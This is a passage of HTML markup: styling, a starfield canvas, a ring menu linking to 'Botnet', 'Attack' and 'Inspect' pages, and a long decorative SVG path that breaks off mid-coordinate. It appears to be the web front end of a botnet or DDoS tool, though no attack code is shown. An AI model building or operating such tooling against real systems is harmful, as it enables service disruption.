  1595. <style>.container{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;}svg{max-width:8rem;}.masking{-webkit-transform: scale(0);transform:scale(0);-webkit-transform-origin:178px;transform-origin:178px;-webkit-animation: scale 3s linear infinite; animation: scale 3s linear infinite;}@-webkit-keyframes scale{80%{opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}@keyframes scale{80% {opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}</style>
  1596. </head>
  1597. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1598. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1599. <center>
  1600. <table cellpadding="38" cellspacing="38">
  1601. <tr>
  1602. <td>
  1603. <div class="ringMenu">
  1604. <ul>
  1605. <li class="main"><a href="help">Help</a></li>
  1606. <li class="top"><a href="botnet">Botnet</a></li>
  1607. <li class="right"><a href="inspect">Inspect</a></li>
  1608. <li class="bottom"><a href="attack">Attack</a></li>
  1609. <li class="left"><a href="gui">RETURN</a></li>
  1610. </ul>
  1611. </div>
  1612. </td>
  1613. <td>
  1614. <table cellpadding="24" cellspacing="25" border="1">
  1615. <tr><td><pre><div class="container">
  1616. <svg viewBox="0 0 298 299">
  1617. <defs>
  1618. <path id="a" d="M200.37 238.27c-3.77-2.96-8.13-5.1-12.78-6.24-4.2-1.16-8.1-2.9-11.8-5.2-2.3-1.58-4.3-3.6-5.8-5.93-.5-.98-.8-2-1-3.07-.3-3.67.6-7.33 2.7-10.4 2.3-3.9 3.5-8.37 3.3-12.9 3.9 2.35 8.4 3.5 12.9 3.34 3.6-.24 7.3.78 10.3 2.86.8.72 1.5 1.54 2.1 2.44 1.3 2.48 2 5.18 2.3 7.96.2 4.3-.3 8.6-1.4 12.74-1.3 4.6-1.6 9.43-1 14.17l-.4-.37.2.6zM149 252v-.54.53c-1.78-4.5-4.48-8.5-7.93-11.8-3.02-3.1-5.57-6.6-7.56-10.4-1.2-2.5-1.8-5.3-2-8.1.1-1.1.3-2.2.7-3.2 1.6-3.4 4.3-6 7.5-7.7 4-2.2 7.2-5.5 9.4-9.5 2.2 4 5.5 7.3 9.5 9.4 3.3 1.6 6 4.3 7.6 7.6.4 1.1.6 2.2.7 3.3-.1 2.7-.8 5.5-2 8-2 3.8-4.5 7.3-7.6 10.4-3.5 3.2-6.2 7.2-8.1 11.6zm10.1-42.94c-4.52-2.24-7.97-6.17-9.6-10.97l-.83-3.6-.96 3.5c-1.6 4.8-5 8.7-9.6 10.9-2.8 1.6-5.2 3.7-7.1 6.3v-.6l-.2.3c-.4-3.2-1.4-6.3-3-9-2.8-4.2-3.8-9.3-2.8-14.2l1-3.6-2.6 2.6c-3.8 3.3-8.7 5-13.8 4.7-3.2-.1-6.3.5-9.3 1.8l.2-.4-.3.2c1.3-3 1.9-6.1 1.8-9.3-.3-5.1 1.4-10 4.7-13.8l2.6-2.7-3.6.9c-4.9 1-10.1-.1-14.3-2.9-2.7-1.6-5.8-2.7-9-3.1l.4-.2H82c2.55-1.9 4.68-4.3 6.24-7.1 2.24-4.5 6.18-8 10.96-9.6l3.68-1-3.57-1c-4.7-1.6-8.7-5.1-10.9-9.6-1.5-2.8-3.7-5.2-6.3-7.1h.5l-.3-.2c3.2-.4 6.2-1.5 9-3.1 4.2-2.9 9.4-3.9 14.4-2.9l3.6.9-2.6-2.7c-3.3-3.8-5-8.8-4.7-13.8.1-3.2-.6-6.4-1.8-9.3l.4.2-.2-.4c2.9 1.3 6.1 1.9 9.3 1.8 5.1-.3 10 1.4 13.8 4.7l2.6 2.6-.9-3.6c-1-4.98.1-10.1 2.9-14.3 1.6-2.78 2.7-5.8 3.1-9l.2.4c1.9 2.55 4.4 4.67 7.1 6.23 4.5 2.25 8 6.2 9.6 11l1 3.65 1-3.57c1.7-4.8 5.1-8.7 9.6-11 2.8-1.56 5.3-3.7 7.2-6.3v.4l.2-.4c.4 3.2 1.5 6.2 3.1 8.9 2.8 4.2 3.9 9.3 2.9 14.3l-.9 3.6 2.7-2.6c3.8-3.4 8.8-5.1 13.8-4.7 3.2 0 6.4-.6 9.3-1.8l-.2.3.4-.2c-1.24 2.9-1.85 6.1-1.8 9.3.3 5-1.4 10-4.7 13.8l-2.6 2.6 3.6-1c5-1 10.1 0 14.3 2.8 2.77 1.6 5.8 2.7 8.97 3.1l-.4.2h.46c-2.52 1.9-4.64 4.3-6.2 7.1-2.2 4.5-6.2 8-10.93 9.6l-3.7 1 3.55 1c4.8 1.6 8.7 5 10.97 9.6 1.6 2.8 3.72 5.2 6.32 7.1h-.6l.4.2c-3.16.4-6.2 1.4-8.95 3.1-4.2 2.8-9.4 3.8-14.3 2.8l-3.6-1 2.6 2.6c3.3 3.8 5 8.77 4.7 13.8-.1 3.2.5 6.4 1.8 9.3l-.4-.2.2.4c-3-1.26-6.1-1.9-9.3-1.8-5.1.3-10-1.4-13.8-4.7l-2.7-2.6 1 3.65c1 4.9 0 10.1-2.8 14.3-1.67 2.7-2.7 5.8-3.1 8.92l-.2-.38v.44c-1.9-2.6-4.38-4.7-7.18-6.3h-.15zm-10.1-25c19.33 0 35-15.66 35-35 0-19.32-15.67-35-35-35s-35 15.68-35 35c0 19.34 15.67 35 35 35zM97.63 59.74c3.77 2.95 8.13 5.1 12.78 6.23 4.2 1.16 8.1 2.9 11.8 5.2 2.3 1.6 4.3 3.6 5.8 5.94.5 1 .8 2 1 3.1.3 3.7-.6 7.4-2.7 10.4-2.3 3.9-3.5 8.4-3.3 12.9-3.9-2.3-8.4-3.5-12.9-3.3-3.6.3-7.3-.8-10.3-2.8-.8-.7-1.5-1.5-2.1-2.4-1.3-2.5-2-5.2-2.3-7.9-.2-4.3.3-8.6 1.4-12.7 1.3-4.6 1.6-9.4 1-14.2l.4.4-.2-.6zm-.47 138.84c-.7.82-1.53 1.55-2.43 2.16-2.47 1.27-5.18 2.04-7.97 2.26-4.28.16-8.57-.3-12.72-1.37-4.6-1.32-9.44-1.64-14.17-.97l.37-.4h-.54c2.96-3.76 5.08-8.1 6.23-12.76 1.16-4.14 2.9-8.1 5.2-11.73 1.58-2.3 3.6-4.26 5.94-5.77.98-.47 2-.8 3.06-1 3.68-.3 7.35.65 10.4 2.7 3.9 2.34 8.37 3.5 12.9 3.33-2.35 3.9-3.5 8.4-3.34 12.94.2 3.76-.8 7.5-3 10.6zm-21-31.9c-2.77-.15-5.5-.84-8.03-2.03-3.8-2-7.3-4.56-10.37-7.57-3.3-3.5-7.3-6.25-11.75-8.07h.6-.6c4.5-1.8 8.5-4.4 11.8-7.9 3.1-3 6.6-5.6 10.4-7.5 2.5-1.2 5.3-1.9 8.1-2 1.1.1 2.2.3 3.2.7 3.4 1.6 6 4.3 7.7 7.6 2.2 4 5.5 7.2 9.5 9.3-4 2.2-7.3 5.5-9.4 9.5-1.6 3.3-4.3 6-7.6 7.6-1 .4-2.1.6-3.2.7zm4-37.67c-1.06-.2-2.08-.5-3.06-1-2.33-1.5-4.35-3.5-5.94-5.7-2.3-3.6-4.03-7.6-5.2-11.7-1.14-4.6-3.27-9-6.23-12.7h.53l-.4-.4c4.74.7 9.57.4 14.18-.9 4.15-1 8.44-1.5 12.72-1.3 2.8.3 5.5 1 7.97 2.3.88.6 1.7 1.3 2.4 2.1 2.1 3 3.1 6.7 2.87 10.3-.17 4.6 1 9.1 3.34 13-4.54-.2-9.03 1-12.9 3.3-3 2.2-6.6 3.2-10.27 3.1zM93.5 57.5c2.45 4.94 1.3 10.35 0 16.04-1.94 6.52-1.94 13.47 0 20-6.5-1.95-13.46-1.95-20 0-5.7 1.2-11.1 2.3-16 0h-.03c-1.17-.57-2.3-1.26-3.33-2.07-2.94-3.65-5.06-7.9-6.2-12.46-1.22-5.2-1.9-10.5-2.03-15.8-.5-8.5-.9-16.6-5.9-23.3 6.7 5 14.8 5.5 23.4 6 5.4.2 10.7.8 15.9 2.1 4.5 1.2 8.6 3.2 12.2 6.1.8 1.1 1.6 2.3 2.1 3.5l.2.1zm-38.32 40c4.57 3.08 6.3 8.3 8.14 13.84 1.57 6.63 5.05 12.65 10 17.33-6.62 1.57-12.63 5.05-17.3 10-4.33 3.87-8.46 7.54-13.93 7.93-1.3.13-2.7.13-4 0-4.4-1.67-8.3-4.26-11.6-7.6-3.7-3.88-6.9-8.14-9.7-12.7-4.5-7.1-9.1-13.97-16.8-17.3.9.05 1.8.05 2.7 0 7.2 0 13.6-3.34 20.4-6.67 4.7-2.56 9.6-4.63 14.7-6.17 4.4-1.12 9-1.3 13.5-.5 1.2.5 2.4 1.1 3.4 1.84h.2zM37.9 151.55c1.3-.15 2.62-.15 3.94 0 5.5.36 9.6 4.03 13.97 7.93 4.7 4.94 10.7 8.42 17.3 10-4.9 4.67-8.4 10.7-10 17.33-1.8 5.6-3.5 10.8-8.1 13.9-1 .8-2.1 1.4-3.3 1.9-4.5.7-9.1.5-13.5-.7-5.1-1.5-10-3.6-14.7-6.1-7.7-3.9-14.9-7.5-23.4-6.7 7.7-3.3 12.2-10 16.7-17.2 2.9-4.5 6.2-8.8 9.9-12.6 3.2-3.2 7.1-5.8 11.4-7.4zm16.14 55.2c1.03-.8 2.15-1.5 3.33-2.08 4.94-2.43 10.34-1.3 16.03 0 6.52 1.96 13.48 1.96 20 0-1.95 6.53-1.95 13.48 0 20 1.2 5.7 2.3 11.1 0 16.03-.57 1.17-1.26 2.3-2.07 3.33-3.63 2.86-7.84 4.92-12.33 6.03-5.2 1.22-10.5 1.9-15.83 2.03-8.53.5-16.67.9-23.34 5.9 5-6.7 5.47-14.8 5.97-23.4.17-5.3.88-10.6 2.13-15.8 1.15-4.5 3.23-8.7 6.14-12.3h-.03zm43.33 31.4c.68-4.74.35-9.57-.97-14.18-1.07-4.15-1.53-8.44-1.37-12.72.23-2.8 1-5.5 2.26-7.97.6-.9 1.3-1.7 2.1-2.4 3-2.1 6.6-3.1 10.3-2.87 4.5.2 9-1 12.9-3.3-.2 4.6 1 9.1 3.3 12.9 2.1 3 3.1 6.6 2.9 10.3-.2 1.1-.6 2.1-1.1 3.1-1.6 2.4-3.5 4.4-5.8 6-3.7 2.3-7.6 4.1-11.8 5.2-4.7 1.2-9 3.3-12.8 6.3v-.5l-.4.4zM149 46v.54V46c1.78 4.44 4.48 8.47 7.93 11.8 3.02 3.06 5.57 6.56 7.56 10.36 1.2 2.52 1.8 5.25 2 8.04-.1 1.08-.3 2.15-.7 3.16-1.6 3.32-4.3 6.02-7.6 7.63-4 2.1-7.2 5.4-9.4 9.4-2.2-4-5.5-7.3-9.5-9.5-3.3-1.7-6-4.4-7.6-7.7-.4-1.1-.6-2.2-.7-3.4.1-2.8.8-5.5 2-8.1 2-3.8 4.5-7.3 7.5-10.4 3.5-3.3 6.2-7.2 8.1-11.6zm103 103c-4.45 1.78-8.47 4.48-11.8 7.93-3.06 3.02-6.57 5.57-10.37 7.56-2.5 1.2-5.25 1.8-8.03 2-1.08-.1-2.15-.3-3.17-.7-3.32-1.6-6-4.3-7.63-7.6-2.17-4-5.43-7.2-9.4-9.4 4-2.2 7.28-5.5 9.43-9.5 1.63-3.3 4.3-6 7.63-7.6 1.08-.4 2.2-.6 3.33-.7 2.7.1 5.5.8 8 2 3.8 2 7.3 4.5 10.3 7.5 3.2 3.5 7.2 6.2 11.6 8.1h-.6.5zm-13.88 51.62c-4.72-.67-9.55-.35-14.16.98-4.16 1.07-8.44 1.52-12.72 1.37-2.8-.24-5.5-1-7.97-2.27-.9-.6-1.7-1.33-2.4-2.13-2.1-3.03-3.1-6.67-2.88-10.34.1-4.55-1-9.04-3.4-12.93 4.5.17 9-1 12.9-3.34 3-2.1 6.6-3.16 10.2-2.97 1 .2 2.1.5 3 1 2.3 1.5 4.3 3.5 5.9 5.7 2.3 3.6 4 7.6 5.2 11.7 1.1 4.6 3.3 9 6.2 12.7h-.6l.4.3zm-17.22-72.76c-.98.46-2 .8-3.07 1-3.68.3-7.34-.65-10.4-2.7-3.9-2.33-8.37-3.5-12.9-3.34 2.34-3.9 3.5-8.38 3.33-12.93-.23-3.7.8-7.3 2.87-10.4.72-.9 1.54-1.6 2.43-2.2 2.5-1.3 5.2-2.1 7.97-2.3 4.3-.2 8.58.3 12.74 1.3 4.6 1.3 9.42 1.6 14.16.9l-.36.4h.53c-2.95 3.7-5.1 8.1-6.23 12.7-1.16 4.1-2.9 8.1-5.2 11.7-1.6 2.2-3.58 4-5.87 5.5zm19.7-34.53c-4.94 2.44-10.34 1.3-16.03 0-6.52-1.95-13.48-1.95-20 0 1.95-6.52 1.95-13.47 0-20-1.2-5.7-2.3-11.1 0-16.03.57-1.18 1.26-2.3 2.06-3.34 3.64-2.87 7.86-4.92 12.37-6.03 5.2-1.22 10.5-1.9 15.83-2.03 8.53-.5 16.67-.94 23.33-5.97-5 6.67-5.46 14.8-5.96 23.34-.17 5.3-.9 10.57-2.14 15.73-1.14 4.42-3.22 8.56-6.1 12.13-1.04.85-2.16 1.6-3.36 2.2zM200.6 60c-.68 4.74-.35 9.56.96 14.17 1.08 4.15 1.54 8.43 1.37 12.73-.22 2.77-1 5.48-2.27 7.97-.6.88-1.32 1.7-2.13 2.4-3.02 2.08-6.67 3.1-10.33 2.86-4.54-.17-9.05 1-12.94 3.33.17-4.53-1-9-3.33-12.9-2.13-3.03-3.17-6.7-2.93-10.4.2-1.06.56-2.1 1.03-3.06 1.52-2.34 3.47-4.35 5.76-5.94 3.6-2.3 7.6-4.04 11.7-5.2 4.6-1.14 9-3.28 12.7-6.23v.53l.3-.26zm4.06 180.6c-2.43-4.94-1.3-10.34 0-16.03 1.95-6.52 1.95-13.48 0-20 6.52 1.95 13.48 1.95 20 0 5.7-1.2 11.1-2.3 16.03 0 1.1.57 2.3 1.26 3.3 2.06 2.8 3.64 4.9 7.86 6 12.37 1.2 5.2 1.9 10.5 2 15.83.5 8.53.9 16.67 5.9 23.33-6.7-5-14.8-5.46-23.4-5.96-5.3-.17-10.6-.88-15.8-2.13-4.5-1.15-8.6-3.23-12.2-6.1-.9-1.05-1.6-2.17-2.2-3.37zm38.33-40c-4.6-3.07-6.3-8.3-8.2-13.83-1.6-6.64-5.1-12.67-10-17.34 6.6-1.58 12.6-5.05 17.3-10 4.3-3.87 8.4-7.54 13.9-7.93 1.3-.13 2.6-.13 3.9 0 4.3 1.65 8.2 4.22 11.4 7.5 3.6 3.88 6.9 8.14 9.6 12.7 4.7 7.13 9.1 13.9 16.7 17.23-8.4-.96-15.6 2.67-23.4 6.67-4.7 2.56-9.7 4.62-14.8 6.16-4.4 1.22-9.1 1.48-13.6.77-1.2-.58-2.2-1.25-3.2-2.03v.1zm17.1-54.04c-1.3.13-2.7.13-4 0-5.5-.36-9.6-4.03-14-7.93-4.7-4.94-10.7-8.42-17.3-10 4.9-4.67 8.4-10.7 10-17.33 1.8-5.53 3.5-10.77 8.1-13.83 1-.74 2.1-1.36 3.3-1.87 4.5-.72 9.1-.46 13.5.77 5.1 1.53 10.1 3.6 14.7 6.16 6.6 3.33 13.3 6.66 20.4 6.66.9 0 1.9-.1 2.8-.2-7.7 3.3-12.2 10-16.9 17.2-2.8 4.5-6 8.8-9.7 12.7-3.2 3.2-7.1 5.8-11.4 7.4v.1zM195.4 23.23c2.57 4.7 4.64 9.62 6.17 14.74 1.2 4.4 1.44 9.04.72 13.57-.5 1.16-1.2 2.28-1.9 3.33-3.1 4.57-8.3 6.3-13.9 8.14-6.7 1.6-12.7 5.1-17.4 10-1.6-6.6-5.1-12.6-10-17.3-3.9-4.3-7.6-8.4-8-13.9-.2-1.3-.2-2.6 0-3.9 1.7-4.2 4.3-8.1 7.6-11.3 3.8-3.6 8.1-6.9 12.7-9.6 7.1-4.5 13.9-9.1 17.3-16.8-1.1 8.4 2.5 15.6 6.4 23.2zM109 .07c3.33 7.7 10 12.13 17.24 16.66 4.58 2.8 8.85 6.1 12.76 9.8 3.27 3.22 5.8 7.1 7.46 11.37.14 1.3.14 2.62 0 3.94-.22 5.5-3.9 9.6-7.8 13.82-4.95 4.67-8.42 10.68-10 17.3-4.67-4.95-10.7-8.43-17.33-10-5.54-1.83-10.77-3.56-13.83-8.13-.73-1.04-1.35-2.16-1.87-3.33-.7-4.53-.45-9.16.76-13.57 1.5-5.12 3.6-10.05 6.1-14.73 3.8-7.54 7.5-14.8 6.4-23.13zm-6.67 274.7c-2.56-4.7-4.63-9.63-6.17-14.74-1.12-4.43-1.3-9.05-.5-13.57.5-1.16 1.14-2.28 1.87-3.34 3.07-4.57 8.3-6.3 13.82-8.13h.02c6.63-1.6 12.65-5.1 17.33-10 1.57 6.6 5.05 12.6 10 17.3 3.87 4.3 7.54 8.4 7.93 13.9.14 1.3.14 2.6 0 3.9-1.7 4.2-4.3 8.1-7.63 11.3-3.88 3.6-8.14 6.9-12.7 9.6-7.1 4.5-13.97 9.1-17.3 16.8 1.07-8.4-2.57-15.6-6.43-23.2h-.24zm86.33 23.33c-3.34-7.7-10-12.14-17.24-16.67-4.47-2.88-8.63-6.22-12.42-9.97-3.27-3.22-5.8-7.1-7.46-11.37-.15-1.3-.15-2.7 0-4 .36-5.5 4.03-9.6 7.92-14 4.95-4.7 8.43-10.7 10-17.3 4.68 4.9 10.7 8.4 17.34 10 5.53 1.8 10.76 3.5 13.82 8.1.75 1 1.37 2.1 1.88 3.3.7 4.5.44 9.1-.77 13.5-1.54 5.1-3.6 10.1-6.17 14.7-3.96 7.6-7.63 14.9-6.56 23.2l-.34.1z"/>
  1619. <path id="c" d="M141.5.73c4.27-.3 8.52-.95 12.8-.65 4.96.16 9.95.6 14.72 2.02 6.64 1.43 12.6 4.85 18.05 8.8 2.45-.33 4.95-.3 7.37.22 4.8 1.06 9.46 2.6 14.17 3.97 5.5 1.7 11.1 3.2 16.3 5.8 11.6 5.2 22.8 12.3 30.6 22.5 3.9 4.7 6.4 10.4 8.4 16.2.3.4.8.6 1.2.8 3.3 1.7 5.5 4.7 7.8 7.5 4.4 5.6 8.8 11.2 12.8 17 6.9 10.8 12.4 22.8 14.1 35.5.5 5 .8 10.1-.2 15-.6 2.9-1.3 5.9-2.3 8.8 1.6 2.8 2 6.2 2.3 9.4.3 4 .3 8 .4 12.1.3 9 0 18-1.9 26.9-1.7 9.2-4.9 18.4-10.2 26.2-3.1 5.1-7.6 9.3-12.5 12.8-1.4.8-1.1 2.6-1.7 4-1.9 5.1-5.5 9.4-8.5 13.9-3.5 5.1-7 10.3-11.2 14.9-7.6 8.4-16.4 16-26.7 20.8-3.9 1.6-7.8 3.3-12 3.9-3.6.6-7.2 1-10.9.9-3.4 3.4-8.1 5-12.6 6.7-7.2 2.4-14.2 5.3-21.7 6.9-10.1 2.4-20.5 3.3-30.8 2.2-5.6-.8-11.1-2.2-16.2-4.5-3.3-1.8-6.6-3.6-9.6-5.9-4.4.8-8.9-.5-13.1-1.7-11.9-3.4-24-7-34.7-13.4-6.5-3.6-12.4-8.2-17.5-13.6-1.7-2.3-3.7-4.3-5.2-6.7-2.8-4.1-4.5-8.8-6.2-13.4-1.3-1.1-2.9-1.7-4.1-2.9-3.9-3.8-6.9-8.3-10.3-12.6-6.4-8.3-12.3-17.1-16.2-27-2.2-4.9-3.5-10.1-4.7-15.2-1-6.6-1.5-13.5.1-20.1.4-2.5 1.1-4.9 1.9-7.36-1-1.9-1.7-3.9-1.9-6-.5-3.78-.6-7.55-.6-11.3-.2-6.2-.3-12.45.1-18.67.7-8.1 2-16.2 4.8-23.9 1.7-4.6 3.5-9.2 6.3-13.3 3.4-5.9 8.5-10.8 14.1-14.7.45-1.5.7-3.1 1.3-4.6 2.1-4.3 5-8.2 7.77-12.2 4.4-6.7 9.2-13.3 14.9-19.1 8.1-8.1 17.5-15.5 28.5-19.2 5.47-2 11.63-2.5 17.67-2.5 2.7-2.9 6.4-4.35 10-5.77 6.3-2.2 12.5-4.5 18.9-6.4 5.3-1.7 10.9-2.67 16.4-3.4zm2.08 3.9c-9.42.8-18.55 3.5-27.4 6.76-5 1.6-9.96 3.4-14.72 5.6 5.03.3 9.8 2.1 14.5 3.7 5.52 1.9 10.76 4.6 16.12 7 1.6.6 3.07 1.7 4.76 2 5.25-.8 10.5-1.9 15.86-1.9 9.2-.4 18.44.6 27.44 2.5 4.46 1.2 9 2.2 13.2 4.1 3.83 1.5 7.48 3.3 10.9 5.6-3.05-4.8-5.6-9.9-9-14.5-2.98-4.2-6.38-8.1-10.43-11.2-2.5-2.5-5.8-4-8.8-5.8-2.7-1.4-5.6-2.3-8.6-3-4.9-1.4-10-1.7-15.1-1.8-2.9-.1-5.8.3-8.7.5zm47.64 10.1c5.68 5.44 9.97 12.13 13.83 18.93 2.28 4 4.65 7.93 6.77 12.02 4.78 2.22 9.5 4.62 13.86 7.6 5.1 3.53 10.12 7.23 14.5 11.64 5.73 5.53 11.16 11.5 15.18 18.4 2.06 3.25 3.77 6.72 5 10.36.46-3.22.68-6.46 1-9.7.9-8.74.34-17.73-2.52-26.1-1.44-3.5-3-7.02-5.25-10.07-2.6-3.4-5.4-6.7-8.7-9.6-2.9-2.3-5.8-4.8-9-6.7-3.1-1.7-6.1-3.7-9.4-5.2-3.3-1.4-6.5-3.2-9.9-4.2-4.5-1.5-9-2.9-13.6-4.2-4-1.1-7.9-2.4-12-3zM83.05 21.86c-5.92 1.75-11.6 4.3-16.66 7.86-4.4 2.7-8.1 6.23-11.9 9.67-5.4 5.2-10 11.1-14.3 17.2-2.2 3.4-4.7 6.7-6.9 10.1-1.1 1.6-1.9 3.5-3.1 5.1 4.3-3 9.4-4.3 14.4-5.8 3.8-1.2 7.7-1.9 11.6-2.7 3.3-.9 6.6-1.3 9.9-2.1.9-.5 1.6-1.4 2.3-2.2 3.9-4.3 8.3-8.1 13.1-11.4 3.7-2.8 7.6-5.3 11.8-7.4 7.6-4.3 15.8-7.6 24.4-9.4 3-.8 6.2-.9 9.3-1.2-2.7-1-5.2-2.4-7.9-3.5-3.8-1.7-7.7-3-11.6-4.2-8-2.1-16.6-2.7-24.7-.5zm45.38 14.7c-4.22 1.5-8.4 3.18-12.16 5.64-5 2.8-9.37 6.6-13.67 10.36-2.55 2.42-4.88 5.1-7.3 7.63-7.03 8.6-12.62 18.6-15.42 29.4-2.13 7.4-3.13 15.2-2 22.9.86 8.2 3.68 16.1 7.53 23.3 3.8 6.5 8.7 12.4 14.8 16.8 4.4 3.2 9.1 6 14.3 7.6 6.8 2.1 14.2 2.7 21.1.7 3.3-.8 6-2.7 8.9-4.2-7.4.1-14.9-2.3-20.9-6.8-6.7-5-12.1-11.8-15.2-19.6-3.6-8.4-5-17.6-4.4-26.7.8-10 3.7-19.8 8.7-28.5 2.2-4.3 5.3-7.9 8.5-11.5 3.2-3.5 7.1-6.3 10.7-9.2 5.2-3.5 10.6-6.7 16.4-9 11.3-4.7 23.6-6.6 35.7-6.5 4.6.2 9.3.6 13.8 1.7-2.8-1.5-5.8-2.7-8.8-3.9-13.3-4.4-27.5-6-41.5-4.7-6.3.8-12.8 1.8-18.8 4.2zm-32.5 7.28C90.33 46.6 85.3 50.28 80.33 54c-4.03 3.14-7.55 6.82-11.08 10.5-4.22 4.77-7.8 10.14-10.7 15.83-6.15 13.25-8.7 28.14-7.5 42.7 1 9.9 3.8 19.62 8.4 28.46 2.03 3.4 4.1 6.9 6.8 9.8 5.38 6.2 12.05 11.2 19.35 15 4.86 2.6 10.24 4.1 15.62 5.2 9.3 1.4 19.12.8 27.78-3 4.8-2.4 9.5-5.3 12.95-9.5 2.25-2.8 4.04-6 5.34-9.3-2.6 1.7-5.3 3.1-8 4.3-9.8 3.5-20.7 2.5-30.2-1.4-5.7-2.6-10.9-6.1-15.6-10.1-6.1-5.8-11.3-12.7-14.5-20.5-5.2-11.5-7.1-24.6-4.7-37 1.2-6.4 3.1-12.8 5.9-18.7 2.7-6.1 6.5-11.7 10.5-17.1 2.4-3.1 5.2-5.8 7.9-8.7 7.1-6.7 15-12.8 24.2-16.4-9.4 1.6-18.6 4.8-26.9 9.5zm77-.1c-7.92.93-15.8 2.66-23.18 5.76-5 1.88-9.62 4.64-14.1 7.5-2.37 1.45-4.36 3.42-6.6 5.06-10.68 8.6-17.67 21.3-20.15 34.73-2.3 10.7-1.15 22.1 3.24 32.2 2.8 7 7.67 13.2 13.77 17.7 5 3.8 11.2 5.8 17.5 6-3-2.3-5.8-4.9-7.9-8-4-5.6-6-12.4-6.7-19.2-.9-7.6.7-15.2 3.2-22.3 1.7-5 4.4-9.5 7.3-13.9 4.1-5.6 9.2-10.5 14.8-14.6 3.4-2.3 6.8-4.6 10.6-6.2 4.6-2.4 9.7-3.8 14.8-4.8 8.1-1.4 16.3-1.5 24.4-.4 4 .4 7.8 1.3 11.6 2.5 8.2 2.2 16 5.9 23.1 10.5 6.2 3.8 12 8.5 16.7 14.1-1.9-3.6-4-7-6.3-10.4-8.3-11-18.8-20.4-30.8-27.3-4.4-2.3-8.9-4.7-13.6-6.3-5.2-1.6-10.4-3.1-15.8-3.4-5.1-.7-10.3-.3-15.4.1zM264.9 65.4c2.23 12.4-.33 24.9-1.4 37.24.6 1.6 1.7 3.03 2.36 4.62 3.73 6.88 6 14.4 8 21.92 3 13.32 4.33 27.43.7 40.78 3.23-4 7.1-7.45 10-11.7 7.36-9.33 12.3-21.15 11.25-33.18 0-4.8-1.2-9.5-2.5-14.12-2.5-8.27-6.4-16.05-11-23.34-2.2-3.2-4.5-6.33-6.8-9.4-3.4-4.32-6.5-8.9-10.4-12.82zM46.7 69.8c-2.56.74-5.14 1.45-7.66 2.35-4.68 1.72-8.97 4.33-13.15 7.05-1.7 1.2-3.1 2.7-4.6 4.07-2.8 2.48-4.8 5.58-6.7 8.68-2.9 4.32-4.6 9.24-6.3 14.08-2.1 7-3.4 14.27-3.9 21.56-.4 6.6-.1 13.2 0 19.8.1 3.3.2 6.6.7 9.9 3.8-8.3 10-15.1 16.1-21.8 2.3-2.5 4.5-5.1 7-7.5.7-6.6 1.8-13.1 4-19.3 1.5-4.9 3.3-9.7 5.7-14.3C43 84 49.6 74 58.9 66.8c-4.1 1-8.3 1.58-12.33 2.78zm123.97.7c-8.9 3.43-16.97 8.95-23.57 15.84-8.73 9.3-14.15 21.78-14.64 34.57.12 7.5 1.73 15.1 6.02 21.3 1.77 2.8 4.23 5 6.68 7.1-1.05-2.4-1.34-5.2-1.75-7.8-.8-7.9 1.7-15.7 5.5-22.6 2.5-4.2 5.7-8.1 9.4-11.3 4.9-4.3 10.4-8 16.5-10.4 8.6-3.7 18-5 27.3-4.6 5.4.1 10.8 1.2 16 2.6 3.4 1.2 6.8 2.5 10 4.2 3.4 1.8 6.6 3.9 9.7 6.1 4.2 2.9 7.8 6.4 11.3 9.9 2.5 2.5 4.5 5.2 6.6 8 2.7 3.4 4.8 7.3 6.9 11.1 2 3.4 3.5 6.9 4.8 10.5 2.4 6.2 4 12.7 4.7 19.3 1.9-11 .6-22.3-1.8-33.1-1.9-7.4-4.1-14.8-7.8-21.6-4.9-10-12-19.1-21.1-25.7-6.4-4.5-13.4-8.5-20.8-11.4-5.3-1.8-10.6-3.5-16.2-4.2-11.1-1.6-22.7-1.1-33.4 2.7zM41.97 96.1c-2.46 4.73-4.37 9.7-5.9 14.82-1.9 5.38-2.8 11.04-3.57 16.7-.32 2.3-.46 4.64-.53 6.98.1 4.9.22 9.83 1.25 14.64C35.46 159.9 40 170 45.95 179.1c2.47 3.45 5.07 6.8 7.9 9.96 4.43 4.33 9 8.6 14.37 11.77 9.6 6.66 21.35 10 33.02 9.8 13.48.18 27.07-4.56 37.18-13.55 5.23-4.33 9.34-9.98 11.82-16.3 2.62-6.5 3.3-13.84 1.18-20.55-2.05 5.92-5.5 11.42-10.33 15.46-6.1 4.9-13.4 8.5-21.2 9.7-8.5 1.3-17.3 1.1-25.6-1.4-3.9-1.1-7.7-2.5-11.3-4.5-3.3-1.7-6.4-3.5-9.2-5.7-6.5-4.8-12.3-10.7-16.4-17.7-3.1-4.6-4.9-9.8-6.8-14.9-1.2-3.5-2.1-7-2.7-10.6-1.6-7.1-1.6-14.4-1.2-21.6.8-9.9 3-19.6 7-28.7 1-2.5 2.3-5 3.8-7.2-6.5 6.7-11.7 14.6-15.6 23zm126.25 8.82c-5.6 3.64-10.8 8.08-14.48 13.72-3.2 4.93-5.53 10.54-6.26 16.4-.54 4 .16 8.03 1.1 11.92 1.7-5.17 4.45-10.04 8.4-13.86 5.8-5.67 13.32-9.5 21.22-11.23 14.1-2.8 29.2-.4 41.52 7.05 7.14 4 13.4 9.47 18.63 15.73 3.07 4 5.73 8.36 7.83 12.97 2.32 5.53 4.4 11.2 5.47 17.13 2.37 10.97 2.06 22.42 0 33.42-1.76 8.75-4.5 17.46-9.17 25.12 8.56-8.3 14.4-19 18.93-29.9 1.7-4.5 3.1-9 4.4-13.6 2.2-9.7 3.1-19.8 1.6-29.7-1.3-7.5-3.7-14.9-7.1-21.7-2.4-4.5-4.7-9.2-7.9-13.2-1.8-2.4-3.5-4.8-5.6-6.9-2.5-2.6-5.1-5.1-7.9-7.5-3.2-2.7-6.7-4.9-10.3-7.1-3.6-2.3-7.7-3.8-11.7-5.3-16-4.7-34.2-3-48.5 6.1zm4.9 22.74c-6.8 2.62-13.16 6.94-17.16 13.13-1.4 2.1-2.28 4.4-3.34 6.7 2.6-2.1 5.58-3.6 8.68-4.8 6.5-2.5 13.67-2.5 